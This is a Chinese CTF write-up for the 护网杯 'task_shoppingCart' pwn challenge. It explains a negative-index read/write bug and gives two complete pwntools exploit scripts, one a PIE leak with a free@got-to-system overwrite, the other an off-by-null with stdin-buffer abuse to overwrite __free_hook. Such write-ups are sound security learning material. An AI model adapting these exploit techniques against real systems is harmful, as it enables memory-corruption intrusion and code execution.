护网杯 task_shoppingCart 记录
前言
相关题目位于
https://gitee.com/hac425/blog_data/tree/master/hwb
task_shoppingCart
漏洞位于 00BD9
用户输入 idx 然后根据索引找到表项（ T )， 然后取 T 开头的 8 字节作为指针，先打印内容，然后修改。
通过漏洞，加上上图那种逻辑结构我们就可以查看并修改 data 的数据。
这个题的关键工作就是构造上图的结构。
开始以为和之前的一场比赛的题一样，程序中会有一个地方存着指向 got 表的指针
https://www.cnblogs.com/hac425/p/9416777.html
发现在程序开了 pie 后貌似就没有了。
方法一
后来看 wp 发现在 0x202068 处存放着一个指针， 指向自身， 这个指针貌似是在 fini_array 的函数里面会用到。
可以用它来做信息泄露
调试时
泄露程序基地址
利用 0x202068 这个指向自身的特性，最后我们可以拿到 程序的基地址
# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针，通过这个可以 leak bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))
p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
# padding
p.send(p64(bin.address + 0x202140))
构造结构，查看并修改 got 表
最终需要构造的结构为
其中 0x0000555555756018 为 free@got 的地址。
利用开始创建的两个 account 来构造即可。
然后在泄露出 free 的地址后，把 free@got 改成 system ，然后 free("sh\x00") 即可 。
具体 exp:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = "debug"
BinPath = "./task_shoppingCart"
LibcPath = "/lib/x86_64-linux-gnu/libc-2.23.so"
bin = ELF(BinPath)
libc = ELF(LibcPath)
bin.address = 0x0000555555554000
# context.binary = bin
p = process(BinPath, aslr=0)
def login():
p.sendlineafter("EMMmmm, you will be a rich man!", "1")
p.sendlineafter("RMB or Dollar?", "RMB")
def logout():
p.sendlineafter("EMMmmm, you will be a rich man!", "3")
def create_good(data, length):
p.sendlineafter("Now, buy buy buy!", "1")
p.sendlineafter("How long is your goods name?", str(length))
p.sendafter("What is your goods name?", data)
def modify_good(idx, data):
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(idx))
p.sendafter("OK, what would you like", data)
def free_good(idx):
p.sendlineafter("Now, buy buy buy!", "2")
p.sendlineafter("Which goods that you don't need?", str(idx))
# 创建两个 account, 后面用于伪造结构
login()
login()
logout()
create_good("sh\x00" , 8)
create_good("b" * 8 , 8)
create_good("c" * 8 , 8)
free_good(1)
# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针，通过这个可以 leak bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))
p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
# accouont_table 的地址
p.send(p64(bin.address + 0x202140))
# 利用 account 1 , 往 0x2020A0 写入 puts@got 的地址
modify_good(-20, p64(bin.got['free']))
# 利用 account 2 , 往 0x2020A8 写入 0x2020A0, 构造一个写的结构
modify_good(-19, p64(bin.address + 0x2020A0))
# gdb.attach(p, """
# break *0x0555555554C45
# """)
# pause()
# (0x2021E0-0x2020A8)/8
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-39))
p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
libc.address = leak - libc.symbols['free']
info("libc.address: {}".format(hex(libc.address)))
p.send(p64(libc.symbols['system'])[0:7])
free_good(0)
p.interactive()
方法二
这个方法主要利用的是 off by null 和 fgets 的工作特性。
首先是 off by null
这里往 name_ptr 的 第 9 个字节写 \x00 ，通过改 currency_type 的最后一项可以让 account_table 第一项的第一个字节为 \x00， 这样会让指针落在 stdin 用于暂存数据的缓冲区。
在第一次调用 fgets 时，会为 fp 参数的 _IO_buf_base 分配一块内存用于暂存用户发过来的数据。
这块缓冲区是在 heap 区的顶部。所以当 account_table[0] 的指针的最低字节被置 \x00 后，会落入 stdin 的 _IO_buf_base 里面， 于是我们通过往程序发送数据，就可以构造我们之前所说的那种实现地址写读写的操作。
详细可以看 exp :
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
libc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./task_shoppingCart')
p = process('./task_shoppingCart', aslr=0)
libc = ELF(libc_name)
def add(size, name):
p.recvuntil("Now, buy buy buy!")
p.sendline('1')
p.recvuntil("name?")
p.sendline(str(size))
p.recvuntil("What is your goods name?")
p.send(name)
def delete(idx):
p.recvuntil("Now, buy buy buy!")
p.sendline('2')
p.recvuntil("Which goods that you don't need?")
p.sendline(str(idx))
def edit(idx):
p.recvuntil("Now, buy buy buy!")
p.sendline('3')
p.recvuntil("Which goods you need to modify?")
p.sendline(str(idx))
def edit_vul(context):
p.recvuntil("Now, buy buy buy!")
p.sendline('3')
p.recvuntil("Which goods you need to modify?")
p.send(context)
# 首先填满 account 数组
for i in range(0x13):
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?")
p.sendline('a' * 8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?")
p.sendline('b' * 8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('3')
# 构造一个 unsorted bin , 目的是为了 unsorted bin 里面的两个指针
add(0x100, 'p4nda') # 0
add(0x70, '/bin/sh\x00') # 1
delete(0)
# 通过 分配 0 字节大小的 name, 可以绕过 create good 时的 设置 \x00 , 进而泄露出 libc
add(0, '') # 2
edit(2)
p.recvuntil('OK, what would you like to modify ')
libc_addr = u64(p.recv(6).ljust(8, '\x00'))
libc.address = libc_addr - 0x10 - 344 - libc.symbols['__malloc_hook']
p.send('p4nda')
print '[+] leak', hex(libc_addr)
print '[+] system', hex(libc.symbols['system'])
# 编辑 account_table[19]
edit((0x202140 + 19 * 8 - 0x2021E0) / 8 & 0xffffffffffffffff)
p.recvuntil('to?')
p.send('d' * 8)
gdb.attach(p)
pause()
payload = (str((0x202140 - 0x2021E0) / 8 & 0xffffffffffffffff) + '\n')
# fgets 的工作流程应该是 ：
# 1. 用户发送数据到程序， 程序把数据存在 stdin 的暂存缓冲区
# 2. fgets 按需取数据
payload += (str(2) + '\n')
payload += (str(1) + '\n')
payload = payload.ljust(0x1000 - 0x20, 'a')
payload += p64(libc.symbols['__free_hook'])
edit_vul(payload)
# 写数据用的是 read ， 也许会清空之前的缓存数据?
p.recvuntil('to?')
p.send(p64(libc.symbols['system']))
p.interactive()
参考
https://xz.aliyun.com/t/2897#toc-5
https://xz.aliyun.com/t/2892#toc-3
https://xz.aliyun.com/t/2893#toc-7
